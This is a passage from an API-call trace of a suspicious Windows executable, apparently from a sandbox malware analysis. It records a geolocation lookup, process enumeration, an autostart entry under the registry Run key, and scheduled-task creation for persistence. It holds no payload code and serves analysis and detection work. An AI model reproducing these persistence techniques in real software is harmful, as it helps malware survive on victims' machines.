MemoryPointer=0x35242a8) returned 0x80 [0043.996] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.996] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.997] RtlSizeHeap (HeapHandle=0x3500000, Flags=0x0, MemoryPointer=0x35242a8) returned 0x80 [0043.997] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.055] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x3518b88 [0044.055] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.023] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18b450, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18dc50 | out: lpBuffer=0x18b450*, lpdwNumberOfBytesRead=0x18dc50*=0x1d1) returned 1 [0050.024] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0050.025] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0050.025] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x352c350 [0050.025] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1e0) returned 0x601a830 [0050.026] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601a830 | out: hHeap=0x3500000) returned 1 [0050.026] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x352c350 | out: hHeap=0x3500000) returned 1 [0050.026] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3518b88 | out: hHeap=0x3500000) returned 1 [0050.026] GetCurrentProcess () returned 0xffffffff [0050.026] GetLastError () returned 0x2 [0050.026] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0050.026] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x10) returned 0x3553d80 [0050.026] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x8ec) returned 0x3554f80 [0050.026] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x800) returned 0x6028150 [0050.026] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6028150, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0050.026] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0050.026] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0x6028958 [0050.026] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" [0050.026] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18dd30 | out: pNumArgs=0x18dd30) returned 0x35ca5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0050.026] lstrcpyW (in: lpString1=0x18e9c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0050.026] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0050.026] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0050.027] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" [0050.027] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18dccc | out: pNumArgs=0x18dccc) returned 0x35ca5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0050.027] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="2B74.TMP.EXE.exe" [0050.027] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0050.027] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0050.028] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0050.028] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0050.028] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0050.029] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0050.029] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0050.029] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0050.029] EnumProcesses (in: lpidProcess=0x1834c8, cb=0xa000, lpcbNeeded=0x18dcd8 | out: lpidProcess=0x1834c8, lpcbNeeded=0x18dcd8) returned 1 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0050.032] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0050.033] CloseHandle (hObject=0x0) returned 0 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5a0 [0050.033] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0050.033] CloseHandle (hObject=0x5a0) returned 1 [0050.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5a0 [0050.034] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0050.034] CloseHandle (hObject=0x5a0) returned 1 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0050.034] CloseHandle (hObject=0x0) returned 0 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5a0 [0050.034] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0050.034] CloseHandle (hObject=0x5a0) returned 1 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0050.034] CloseHandle (hObject=0x0) returned 0 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5a0 [0050.034] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0050.034] CloseHandle (hObject=0x5a0) returned 1 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a0) returned 0x0 [0050.034] CloseHandle (hObject=0x0) returned 0 [0050.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x78c) returned 0x5a0 [0050.034] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.035] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1100000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="younger-effectiveness.exe") returned 0x19 [0050.036] CloseHandle (hObject=0x5a0) returned 1 [0050.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x5a0 [0050.036] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.037] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1240000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="tunes.exe") returned 0x9 [0050.037] CloseHandle (hObject=0x5a0) returned 1 [0050.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x5a0 [0050.037] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.038] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xcb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="workstation.exe") returned 0xf [0050.038] CloseHandle (hObject=0x5a0) returned 1 [0050.038] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x5a0 [0050.038] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.039] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x11b0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="varied.exe") returned 0xa [0050.040] CloseHandle (hObject=0x5a0) returned 1 [0050.040] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x5a0 [0050.040] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.041] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x50000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mall_participating.exe") returned 0x16 [0050.041] CloseHandle (hObject=0x5a0) returned 1 [0050.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x5a0 [0050.041] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.042] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xdc0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="luis.exe") returned 0x8 [0050.042] CloseHandle (hObject=0x5a0) returned 1 [0050.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x5a0 [0050.042] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.043] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1290000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="enhancedsand.exe") returned 0x10 [0050.044] CloseHandle (hObject=0x5a0) returned 1 [0050.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0x5a0 [0050.044] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.045] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x220000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mem_elite.exe") returned 0xd [0050.045] CloseHandle (hObject=0x5a0) returned 1 [0050.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x5a0 [0050.045] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.046] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="barbara.exe") returned 0xb [0050.046] CloseHandle (hObject=0x5a0) returned 1 [0050.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5a0 [0050.046] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.047] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xea0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="refpatternscontainer.exe") returned 0x18 [0050.047] CloseHandle (hObject=0x5a0) returned 1 [0050.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15c) returned 0x5a0 [0050.047] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.048] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1a0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="chip-concentrate-code.exe") returned 0x19 [0050.049] CloseHandle (hObject=0x5a0) returned 1 [0050.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5a0 [0050.049] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.050] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x960000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="es-connection-iceland.exe") returned 0x19 [0050.050] CloseHandle (hObject=0x5a0) returned 1 [0050.050] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x794) returned 0x5a0 [0050.050] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.051] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1360000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="plcpartially.exe") returned 0x10 [0050.051] CloseHandle (hObject=0x5a0) returned 1 [0050.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a0) returned 0x5a0 [0050.051] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.053] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x800000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mercury.exe") returned 0xb [0050.053] CloseHandle (hObject=0x5a0) returned 1 [0050.053] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x590) returned 0x5a0 [0050.053] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.054] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x940000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="translator_filter.exe") returned 0x15 [0050.054] CloseHandle (hObject=0x5a0) returned 1 [0050.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e0) returned 0x5a0 [0050.054] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.055] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xba0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="theme bon dog.exe") returned 0x11 [0050.056] CloseHandle (hObject=0x5a0) returned 1 [0050.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x5a0 [0050.056] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.057] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xf00000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="ef-powerpoint.exe") returned 0x11 [0050.057] CloseHandle (hObject=0x5a0) returned 1 [0050.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0x5a0 [0050.057] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.058] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xc60000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="renew mechanism tom.exe") returned 0x17 [0050.058] CloseHandle (hObject=0x5a0) returned 1 [0050.058] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x660) returned 0x5a0 [0050.058] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.059] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xcb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="worldcat_phone.exe") returned 0x12 [0050.059] CloseHandle (hObject=0x5a0) returned 1 [0050.059] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x5a0 [0050.060] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.060] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xa30000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="volunteers-masturbating-frederick.exe") returned 0x25 [0050.061] CloseHandle (hObject=0x5a0) returned 1 [0050.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0x5a0 [0050.061] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.062] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x250000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="effect_actors.exe") returned 0x11 [0050.062] CloseHandle (hObject=0x5a0) returned 1 [0050.062] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5a0 [0050.062] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.063] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xd20000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="dietary void saw.exe") returned 0x14 [0050.063] CloseHandle (hObject=0x5a0) returned 1 [0050.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6b4) returned 0x0 [0050.063] CloseHandle (hObject=0x0) returned 0 [0050.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa68) returned 0x5a0 [0050.063] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0050.065] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="2B74.TMP.EXE.exe") returned 0x10 [0050.065] CloseHandle (hObject=0x5a0) returned 1 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x352ce90 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6013a28 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6017050 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60339a8 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6033c10 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6033e78 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60340e0 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6034348 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60345b0 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6034818 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6034a80 [0050.065] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18dcc8 | out: phkResult=0x18dcc8*=0x5a0) returned 0x0 [0050.065] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18dcc4, lpData=0x18c3f0, lpcbData=0x18dca8*=0x400 | out: lpType=0x18dcc4*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", lpcbData=0x18dca8*=0xe0) returned 0x0 [0050.065] RegCloseKey (hKey=0x5a0) returned 0x0 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xe0) returned 0x604f9c0 [0050.065] lstrlenA (lpString="\" --AutoStart") returned 13 [0050.065] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0x5fee628 [0050.065] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x604f9c0 | out: hHeap=0x3500000) returned 1 [0050.065] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 1 [0050.066] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0x5fee700 [0050.066] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5fee628 | out: hHeap=0x3500000) returned 1 [0050.066] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0x5fee628 [0050.066] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0x5fee7d8 [0050.066] CoInitialize (pvReserved=0x0) returned 0x0 [0050.073] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0050.074] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd0) returned 0x5feea60 [0050.074] CoCreateInstance (in: rclsid=0x4d504c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4d4fcc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18dcb4 | out: ppv=0x18dcb4*=0x57008b8) returned 0x0 [0050.080] TaskScheduler:ITaskService:Connect (This=0x57008b8, serverName=0x18d740*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x67, varVal2=0xd0), user=0x18d750*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xd8), domain=0x18d760*(varType=0x0, wReserved1=0x0, wReserved2=0xd0, wReserved3=0x0, varVal1=0x67, varVal2=0x7), password=0x18d770*(varType=0x0, wReserved1=0x603, wReserved2=0xdc5c, wReserved3=0x18, varVal1=0x4209ab, varVal2=0x3500000)) returned 0x0 [0050.082] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027d70 [0050.082] TaskScheduler:ITaskService:GetFolder (in: This=0x57008b8, Path="\\", ppFolder=0x18dcbc | out: ppFolder=0x18dcbc*=0x5700920) returned 0x0 [0050.082] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027d70 | out: hHeap=0x3500000) returned 1 [0050.082] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027d70 [0050.082] ITaskFolder:DeleteTask (This=0x5700920, Name="Time Trigger Task", flags=0) returned 0x0 [0050.124] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027d70 | out: hHeap=0x3500000) returned 1 [0050.125] TaskScheduler:ITaskService:NewTask (in: This=0x57008b8, flags=0x0, ppDefinition=0x18dcc0 | out: ppDefinition=0x18dcc0*=0x5700950) returned 0x0 [0050.125] TaskScheduler:IUnknown:Release (This=0x57008b8) returned 0x1 [0050.125] ITaskDefinition:get_RegistrationInfo (in: This=0x5700950, ppRegistrationInfo=0x18dc94 | out: ppRegistrationInfo=0x18dc94*=0x5700a10) returned 0x0 [0050.125] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc) returned 0x6027db8 [0050.125] IRegistrationInfo:put_Author (This=0x5700a10, Author="Author Name") returned 0x0 [0050.125] HeapFree (in: 